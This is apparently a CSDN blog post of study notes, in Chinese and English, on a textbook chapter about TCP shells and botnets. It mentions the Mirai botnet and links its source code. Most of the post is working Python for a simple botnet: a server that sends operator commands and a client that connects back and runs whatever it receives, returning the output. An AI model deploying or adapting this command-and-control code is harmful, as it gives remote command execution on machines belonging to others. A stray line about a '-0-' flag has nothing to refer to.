Ethical.Hacking.2021.10:CRAFTING TCP SHELLS AND BOTNETS(2)

Botnets僵尸网络

举例:

The Mirai botnet was composed of a collection of Internet of Things (Io T) devices like cameras and home routers.

Mirai僵尸网络由一系列物联网(Io T)设备组成,如照相机和家庭路由器。

The Mirai botnet code is available on Git Hub at
https://github.com/jgamblin/Mirai-Source-Code/.

 The -0-  flag outputs the contents of the downloaded file.


一个简易的僵尸网络代码:

botserver.py

import socketserver


class BotHandler(socketserver.BaseRequestHandler):
    def handle(self) -> None:
        self.data = self.request.recv(1024).strip()
        print("BOT IP addr is :{}".format(self.client_address[0]))
        print(self.data)
        com=""
        while com !="exit":
            com=input("input:  ")
            self.request.sendall(com.encode())
            self.data = self.request.recv(1024).strip()
            print(self.data)


if __name__ == "__main__":
    HOST, PORT = "", 8000
    tcpserver = socketserver.TCPServer((HOST, PORT), BotHandler)
    try:
        tcpserver.serve_forever()
    except:
        print("there are errors")

botsclient.py

import sys
from subprocess import PIPE, Popen
from socket import *

server_name = sys.argv[1]
server_port = 8000

client_Socket = socket(AF_INET, SOCK_STREAM)
client_Socket.connect((server_name, server_port))

client_Socket.send('Bot reporting for duty'.encode())

while True:
    com= client_Socket.recv(4064).decode()
    proc=Popen(com.split(" "),stdout=PIPE,stderr=PIPE)
    result,error=proc.communicate()
    client_Socket.send(result)

client_Socket.close()

Guess you like

Origin blog.csdn.net/lm19770429/article/details/121840606